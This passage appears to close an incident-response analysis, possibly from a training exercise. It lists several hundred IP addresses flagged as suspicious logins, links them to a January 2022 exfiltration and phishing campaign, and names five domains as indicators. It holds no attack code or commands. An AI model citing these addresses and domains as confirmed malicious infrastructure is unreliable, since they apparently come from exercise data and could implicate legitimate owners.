178.254.182.1
187.8.134.18
87.230.143.14
155.168.241.231
186.237.56.115
209.210.235.196
53.166.237.31
46.19.236.58
212.225.155.175
88.24.200.136
161.81.17.134
67.199.187.99
186.156.143.160
134.113.42.58
84.88.125.40
220.214.218.75
184.146.126.253
134.107.119.235
116.208.151.251
123.204.28.124
214.198.146.46
102.72.144.201
138.64.165.56
151.2.21.244
207.17.40.201
149.207.39.104
186.185.186.8
185.97.206.211
212.77.184.151
46.48.37.132
199.249.201.123
6.124.119.167
200.75.195.169
122.191.116.33
213.3.152.252
49.198.3.100
155.65.216.118
144.160.22.227
153.176.95.200
214.234.233.83
45.48.50.39
185.54.162.32
186.22.20.229
213.44.123.83
192.90.200.149
39.149.171.123
218.19.104.78
12.167.127.86
214.228.15.249
44.58.135.36
83.33.69.218
221.197.253.45
119.57.45.7
209.95.62.144
200.247.12.78
176.45.99.222
138.229.187.232
199.146.252.3
46.47.152.146
1.124.56.228
69.73.173.61
215.195.215.107
111.15.148.125
147.66.43.229
191.99.68.41
126.128.6.179
58.121.147.162
156.50.184.252
202.118.135.36
29.121.170.32
30.107.30.183
218.246.39.255
32.48.184.23
202.17.147.81
195.197.2.86
176.169.104.9
151.99.56.23
188.43.253.41
198.228.176.183
162.65.13.249
40.6.139.122
211.133.65.77
204.19.136.246
136.131.75.227
126.116.34.21
213.166.82.94
72.196.25.133
184.61.254.113
98.16.236.44
221.203.156.103
184.16.19.80
55.192.213.211
212.63.35.68
36.160.134.255
3.105.231.244
60.79.188.173
91.64.47.117
43.30.29.112
218.131.218.50
37.54.181.114
174.203.71.207
79.86.90.94
221.84.132.32
197.10.120.32
112.104.139.120
154.233.147.150
200.81.171.229
76.204.214.130
147.135.237.207
79.91.145.126
88.198.241.149
96.88.141.113
212.114.180.182
9.21.7.232
46.146.196.201
196.210.170.56
123.85.36.146
48.49.45.44
178.55.0.97
46.134.190.88
1.108.205.170
147.29.5.110
34.217.59.204
208.204.72.194
149.247.77.240
144.3.212.164
15.114.218.126
182.44.219.20
207.151.80.246
6.104.57.175
209.110.77.121
21.115.84.234
206.65.88.99
213.135.252.78
119.169.141.140
55.194.192.63
161.148.140.78
174.90.163.178
136.251.123.108
175.45.243.200
145.32.105.182
21.30.209.104
17.182.114.111
100.199.136.108
32.189.228.104
167.234.76.92
5.34.9.223
202.90.104.112
131.225.176.186
206.131.49.204
107.124.176.81
213.33.23.168
143.150.163.131
21.225.154.31
217.39.86.1
220.100.156.169
185.151.29.138
180.113.66.249
144.54.115.167
147.145.95.14
180.183.111.42
116.190.189.244
155.45.251.163
172.177.207.52
145.106.213.16
166.2.70.126
101.164.134.114
213.128.21.186
219.169.95.91
28.157.131.42
39.196.170.67
93.23.212.18
143.19.148.49
210.252.25.167
208.183.119.189
156.132.9.44
90.148.6.32
190.40.41.218
120.216.205.49
50.59.32.115
103.98.94.26
214.46.224.88
191.234.17.41
190.135.225.111
148.153.206.195
195.69.149.128
7.131.252.64
213.231.11.54
220.171.56.213
122.88.62.138
221.15.58.244
168.13.4.37
112.176.195.177
189.158.170.217
143.7.15.86
104.57.28.120
136.77.45.213
76.188.84.247
11.83.110.120
122.90.253.155
218.144.185.30
15.92.27.84
84.170.168.225
7.245.64.250
174.206.192.143
94.170.51.231
205.61.230.190
154.59.155.194
174.200.249.146
185.206.117.93
95.235.213.231
208.181.196.74
206.240.69.121
91.69.120.165
134.149.99.134
162.119.20.38
129.5.74.223
198.80.8.228
205.200.43.248
177.253.210.184
148.186.160.153
135.22.157.24
203.248.163.23
36.250.203.5
172.218.159.53
211.23.53.65
80.177.129.3
92.113.37.41
176.82.139.53
131.47.118.118
175.192.161.69
36.136.54.122
129.140.165.53
41.133.220.26
203.74.60.55
205.10.215.191
141.221.103.117
216.156.125.190
196.242.29.231
140.31.162.188
11.143.79.202
88.181.13.164
12.57.54.131
131.71.69.198
192.155.250.188
170.55.213.15
177.140.150.115
162.215.236.201
173.171.236.161
168.187.14.228
121.205.48.165
216.162.208.10
56.99.19.72
100.2.45.147
144.172.160.218
5.226.222.136
207.252.186.93
177.19.68.171
211.154.21.105
195.125.244.50
161.245.129.186
37.155.8.76
195.231.159.152
192.37.33.91
142.251.208.158
210.15.214.101
131.180.5.235
218.42.213.209
223.8.10.189
21.184.29.94
206.40.184.49
44.170.110.45
71.117.98.217
168.75.163.20
107.156.109.12
222.136.18.5
174.240.221.152
206.84.197.85
214.244.214.222
197.22.56.222
223.237.120.139
195.130.101.46
62.165.51.224
186.174.71.137
9.240.135.220
121.38.13.178
67.136.181.160
190.183.162.8
213.79.39.84
109.59.54.216
197.187.132.186
209.17.17.83
202.89.0.69
223.195.59.105
161.235.75.94
142.217.199.137
147.184.65.96
180.146.102.240
145.80.83.146
190.144.178.174
15.28.4.50
205.166.230.154
29.43.59.207
76.101.18.184
214.242.153.17
179.191.31.132
191.170.61.123
91.98.137.147
129.21.83.208
42.18.167.145
206.229.221.211
156.86.172.185
217.139.166.48
78.98.40.147
19.36.177.130
221.14.21.30
181.125.3.107
208.24.164.52
137.134.127.78
11.230.211.145
153.52.253.41
186.144.6.42
171.205.82.154
203.67.241.236
219.100.189.7
167.176.156.152
116.70.151.73
214.20.242.64

While there is the possibility of false positives in some cases, all these suspicious logins match the times and dates for the exfiltration (Jan. 4 to Jan. 10 2022) (see [23] and [24]) and the phishing emails (Jan. 5 to Jan. 8) (see [22]).

There are five new domains: mixer-heath.com, provident.com, downfall.org, arbiters-tail.info and negativeness.com. Only the downfall.org domain appears in other logs: phishing emails (see [22]) and their corresponding outbound browsing logs (i.e. that the target clicked the link). The IPs do not appear in any other tables aside from the previously-reproduced (AuthenticationEvents and InboundBrowsing in some cases).

There are no further signs of threat actor activity.